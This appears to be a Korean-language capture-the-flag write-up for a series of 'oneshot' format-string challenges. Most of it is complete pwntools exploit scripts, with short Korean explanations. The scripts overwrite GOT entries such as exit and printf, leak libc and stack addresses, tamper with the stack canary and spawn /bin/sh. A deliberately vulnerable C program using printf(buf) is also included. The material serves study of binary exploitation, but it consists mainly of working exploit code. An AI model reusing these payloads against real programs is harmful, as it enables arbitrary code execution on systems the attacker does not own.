exploit.py
from pwn import *
e = ELF("./oneshot")
p = process("./oneshot")
gift = 0x4011b6
exit_got = 0x404038
gift_low = gift & 0xffff
gift_high = (gift >> 16) & 0xffff
payload = f'%{gift_high}c'.encode()
payload += b"%14$hn"
payload += f'%{gift_low - gift_high}c'.encode()
payload += b"%15$hn"
payload = payload.ljust(0x40, b"\x00")
payload += p64(exit_got+2)
payload += p64(exit_got)
p.sendline(payload)
p.interactive()
8바이트를 전송할때 시간이 굉장히 오래 걸리기 때문에 4바이트짜리 두개로 나누어서 전송하면 시간을 단축시킬 수 있다.
exploit.py
from pwn import *
e = ELF("./oneshot1")
p = process("./oneshot1")
main = 0x004011cd
system = 0x00401090
exit_got = 0x404038
printf_got = 0x404028
main_low = main & 0xffff
main_high = (main >> 16) & 0xffff
system_low = system & 0xffff
system_high = (system >> 16) & 0xffff
payload = f'%{main_high}c'.encode()
payload += b"%14$hn"
payload += f'%{main_low - main_high}c'.encode()
payload += b"%15$hn"
payload += f'%{0x10000 - main_low}c'.encode()
payload += b"%16$hn"
payload += f'%{system_high}c'.encode()
payload += b"%17$hn"
payload += f'%{system_low - system_high}c'.encode()
payload += b"%18$hn"
payload = payload.ljust(0x40, b"\x00")
payload += p64(exit_got+2)
payload += p64(exit_got)
payload += p64(printf_got+4)
payload += p64(printf_got+2)
payload += p64(printf_got)
p.sendline(payload)
p.sendline(b"/bin/sh\x00")
p.interactive()
exit에 main을 덮고, printf에 system을 덮어서 풀 수 있는 간단한 문제였다.
exploit.py
from pwn import *
e = ELF("./oneshot2")
p = process("./oneshot2")
libc = e.libc
main = 0x401196
exit_got = 0x404030
printf_got = 0x404020
main_low = main & 0xffff
main_high = (main >> 16) & 0xffff
payload = f'%{main_high}c'.encode()
payload += b"%14$hn"
payload += f'%{main_low - main_high}c'.encode()
payload += b"%15$hn"
payload = payload.ljust(0x40, b"\x00")
payload += p64(exit_got+2)
payload += p64(exit_got)
p.send(payload)
#main_ret = 0x7ffff7de9083
#__libc_start_main = 7ffff7de8f90, 0xf3=243 difference
p.sendline("main_ret:%77$p")
p.recvuntil(b"main_ret:")
main_ret = int(p.recv(14), 16)
libc_base = main_ret - libc.symbols['__libc_start_main'] - 243
print(hex(libc_base))
system = libc_base + libc.symbols['system']
system_low = system & 0xffff
system_mid = (system >> 16) & 0xffff
system_high = (system >> 32) & 0xffff
print(hex(system))
print(hex(system_low))
print(hex(system_mid))
print(hex(system_high))
payload = f'%{system_high}c'.encode()
payload += b"%14$hn"
if system_mid - system_high > 0:
payload += f'%{system_mid - system_high}c'.encode()
else:
payload += f'%{system_mid - system_high + 0x10000}c'.encode()
payload += b"%15$hn"
if system_low - system_mid > 0:
payload += f'%{system_low - system_mid}c'.encode()
else:
payload += f'%{system_low - system_mid + 0x10000}c'.encode()
payload += b"%16$hn"
payload = payload.ljust(0x40, b"\x00")
payload += p64(printf_got+4)
payload += p64(printf_got+2)
payload += p64(printf_got)
p.send(payload)
p.send("/bin/sh\x00")
p.interactive()
oneshot1과 비슷한 느낌의 문제이지만 libc_base를 직접 구해주어야 된다는 차이점이 있다. 검색과 고민을 거듭한 결과 main의 ret과 __libc_start_main의 주소 차이를 이용해서 구하는 방법이 있다는 것을 알 수 있었다.
이 문제에 대한 풀이는 찾지 못했다.
지금까지 생각해낸 아이디어는 canary가 켜져 있기 때문에 __stack_chk_fail에 exit에 main을 집어넣고 canary를 변조시키는 방법이었다.
canary는 스택 뒤에 위치해 있기 때문에 스택의 주소가 필요한데, read 함수의 rsi에서 buf가 사용되었기 때문에 그 다음 printf에서 바로 rsi를 사용해서 buf, 즉 스택의 주소를 유출할 수 있다는 아이디어까지는 얻을 수 있었다. 하지만 printf 하나만으로 어떻게 더 진행되어야 할 지에 대한 답은 얻을 수 없었다.
C 파일을 다음과 같이 변형하였을 때에 대한 exploit 코드는 구할 수 있었다. 기존 C 파일에서 read, printf를 두 개로 늘려준 것이다.
oneshot3_2.c
// gcc oneshot3_2.c -o oneshot3_2 -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
char buf[0x100];
printf("Look, if you had one shot, one opportunity\n");
printf("To seize everything you ever wanted, in one moment\n");
printf("Would you capture it or just let it slip? ♩♪\n\n");
read(STDIN_FILENO, buf, sizeof(buf));
printf(buf);
read(STDIN_FILENO, buf, sizeof(buf));
printf(buf);
return 0;
}
exploit.py
from pwn import *
e = ELF("./oneshot3_2")
p = process("./oneshot3_2")
libc = e.libc
main = 0x401196
chk_got = 0x404020
printf_got = 0x404028
main_low = main & 0xffff
main_high = (main >> 16) & 0xffff
p.recv(144)
p.sendline(b"%p")
buf = int(p.recv(14), 16)
print(hex(buf))
payload = f'%{main_high}c'.encode()
payload += b"%14$hn"
payload += f'%{main_low - main_high}c'.encode()
payload += b"%15$hn"
payload += f'%{10}c'.encode()
payload += b"%16$hn"
payload += f'%{10}c'.encode()
payload += b"%17$hn"
payload = payload.ljust(0x40, b"\x00")
payload += p64(chk_got+2)
payload += p64(chk_got)
payload += p64(buf+0x108+2)
payload += p64(buf+0x108)
p.send(payload)
#main_ret = 0x7ffff7de9083
#__libc_start_main = 7ffff7de8f90, 0xf3=243 difference
p.sendline("%pmain_ret:%77$p")
p.recvuntil("slip?")
p.recv(9)
buf = int(p.recv(14), 16)
p.recvuntil(b"main_ret:")
main_ret = int(p.recv(14), 16)
libc_base = main_ret - libc.symbols['__libc_start_main'] - 243
print("libc_base: "+hex(libc_base))
system = libc_base + libc.symbols['system']
system_low = system & 0xffff
system_mid = (system >> 16) & 0xffff
system_high = (system >> 32) & 0xffff
print(hex(system))
print(hex(system_low))
print(hex(system_mid))
print(hex(system_high))
payload = f'%{system_high}c'.encode()
payload += b"%14$hn"
if system_mid - system_high > 0:
payload += f'%{system_mid - system_high}c'.encode()
else:
payload += f'%{system_mid - system_high + 0x10000}c'.encode()
payload += b"%15$hn"
if system_low - system_mid > 0:
payload += f'%{system_low - system_mid}c'.encode()
else:
payload += f'%{system_low - system_mid + 0x10000}c'.encode()
payload += b"%16$hn"
payload += f'%{10}c'.encode()
payload += b"%17$hn"
payload += f'%{10}c'.encode()
payload += b"%18$hn"
payload = payload.ljust(0x40, b"\x00")
payload += p64(printf_got+4)
payload += p64(printf_got+2)
payload += p64(printf_got)
payload += p64(buf+0x108+2)
payload += p64(buf+0x108)
p.send(payload)
p.send("/bin/sh\x00")
p.interactive()